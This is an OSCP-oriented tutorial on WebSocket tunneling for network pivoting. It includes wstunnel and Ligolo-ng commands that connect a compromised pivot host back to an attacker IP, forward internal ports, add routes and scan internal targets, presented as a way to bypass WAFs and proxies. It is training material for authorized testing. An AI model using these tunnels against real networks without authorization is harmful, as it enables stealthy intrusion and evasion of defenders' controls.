WebSocket Tunneling
WebSocket tunneling encapsulates arbitrary TCP traffic inside WebSocket frames transmitted over HTTP/HTTPS. WebSockets run on ports 80/443, are full-duplex, and pass through most proxies and WAFs — making them an excellent tunneling mechanism.
Why WebSocket Tunneling?
| Advantage |
Explanation |
| Runs over 80/443 |
Uses standard web ports — rarely blocked |
| Full-duplex |
Simultaneous bidirectional communication |
| Passes through proxies |
Looks like normal web traffic after upgrade |
| Passes through WAFs |
WebSocket is a standard web protocol |
| Persistent connection |
Single connection, no repeated handshakes |
| Low overhead |
Minimal frame header after upgrade |
How WebSocket Tunneling Works
Connection Upgrade
sequenceDiagram
participant C as Client (Pivot)
participant S as Server (Attacker)
C->>S: HTTP GET /tunnel<br/>Upgrade: websocket<br/>Connection: Upgrade
S->>C: 101 Switching Protocols<br/>Upgrade: websocket
C<->>S: WebSocket frames (encapsulated TCP data)
Frame-Based Communication
- HTTP Upgrade: Client sends an HTTP request with
Upgrade: websocket header.
- Server Response: Server responds with
101 Switching Protocols.
- WebSocket Frames: Both sides send/receive WebSocket frames containing encapsulated TCP data.
- Transparent Tunnel: The underlying TCP traffic is invisible to intermediaries.
| Tool |
Type |
Features |
Best For |
| wstunnel |
TCP over WebSocket |
Full TCP tunnel, TLS support |
Production tunneling |
| websocat |
WebSocket cat |
Simple WebSocket relay |
Quick testing |
| Ligolo-ng (WS) |
VPN over WebSocket |
Full IP tunnel, console management |
OSCP pivoting |
Wstunnel — TCP Over WebSocket
Wstunnel is a production-grade TCP tunnel over WebSocket with TLS support.
Architecture
graph LR
subgraph "Attacker"
A[wstunnel server<br/>Listen 8080]
end
subgraph "Internal Network"
B[wstunnel client<br/>Connect to attacker]
C[Target<br/>10.10.10.10:80]
end
B -->|WebSocket → TCP| A
B -->|Forward to| C
Server Setup (Attacker)
# Download wstunnel
wget https://github.com/erebe/wstunnel/releases/download/v8.0/wstunnel-x86_64-linux.tar.gz
tar -xzf wstunnel-x86_64-linux.tar.gz
chmod +x wstunnel
# Start server listening on port 8080
./wstunnel --listen 0.0.0.0:8080 server
Client Setup (Pivot)
# Connect to attacker's WebSocket server
# Forward local port 9090 to internal target 10.10.10.10:80
./wstunnel --connect 10.10.14.3:8080 client --to 9090:10.10.10.10:80
End-to-End Port Forwarding Chain
# On attacker
./wstunnel --listen 0.0.0.0:8080 server
# On pivot
./wstunnel --connect 10.10.14.3:8080 client --to 9090:10.10.10.10:80
# On attacker - access forwarded service
curl http://localhost:9090
# This reaches 10.10.10.10:80 through the WebSocket tunnel
With TLS Encryption
# Generate self-signed certificate
openssl req -newkey rsa:2048 -keyout key.pem -out cert.pem \
-nodes -x509 -days 365 -subj "/CN=wstunnel"
# Server with TLS
./wstunnel --listen 0.0.0.0:443 --tls-cert cert.pem --tls-key key.pem server
# Client with TLS
./wstunnel --connect 10.10.14.3:443 --tls-ca-cert cert.pem client --to 9090:10.10.10.10:80
Ligolo-ng Over WebSocket Transport
Ligolo-ng supports WebSocket as a transport protocol, giving you a full IP tunnel over WebSocket.
Server (Attacker)
ligolo-ng-console
# Inside console:
listen
Client (Pivot)
# Connect via WebSocket
ligolo-ng-client --url ws://10.10.14.3:11601/tunnel
# Or with TLS
ligolo-ng-client --tls --url wss://10.10.14.3:11601/tunnel
Console Management
# Inside console
sessions
interact 1
ifconfig
add-route 10.10.10.0/24 eth0
start
# Now you have full IP access through WebSocket
nmap -p 22,80,443 10.10.10.10
WebSocket vs HTTP Tunneling Comparison
| Feature |
WebSocket |
HTTP (ReGeorg) |
| Protocol |
WebSocket (RFC 6455) |
HTTP POST/GET |
| Duplex |
Full-duplex |
Half-duplex (request/response) |
| Latency |
Low (persistent connection) |
High (new request per packet) |
| Bandwidth |
Higher |
Very low |
| WAF bypass |
Good (standard protocol) |
Good |
| Setup |
Deploy binary |
Upload web script |
| Best for |
Performance + stealth |
Web shell only scenarios |
When to Use WebSocket Tunneling
| Scenario |
Why WebSocket |
| Only 80/443 allowed, need performance |
WebSocket is faster than HTTP tunneling |
| WAF in place |
WebSocket is a standard web protocol |
| Reverse proxy in front of target |
WebSocket connections are typically proxied |
| Need full-duplex communication |
WebSocket supports simultaneous bidirectional data |
| Ligolo-ng over web |
Full IP tunnel through WebSocket transport |
Troubleshooting
| Problem |
Cause |
Solution |
Upgrade failed |
Server doesn’t support WebSocket |
Verify server is running and listening |
Connection refused |
Wrong port or server not running |
Check server is listening on correct port |
TLS handshake failed |
Certificate mismatch |
Use --tls-ca-cert or skip verification |
| Tunnel drops |
Network instability |
Add keepalive/reconnect options |
| WAF blocks WebSocket |
WAF configured to block WS |
Try HTTPS (wss://) instead |
OSCP Relevance
WebSocket tunneling is emerging as a valuable technique:
- Useful when only web traffic is allowed but you need better performance than ReGeorg.
- Ligolo-ng’s WebSocket transport is practical for OSCP.
- Know the concept and basic tools for advanced scenarios.
OSCP Tips
- Ligolo-ng WebSocket is the easiest way to get a full IP tunnel over web.
- WebSocket is faster than HTTP tunneling — prefer when both are available.
- Use WSS (WebSocket over TLS) for encrypted transport on port 443.
- Test WebSocket support — not all web servers support WebSocket upgrade.
- Combine with Ligolo-ng for the best of both worlds (IP tunnel + web transport).
Further Reading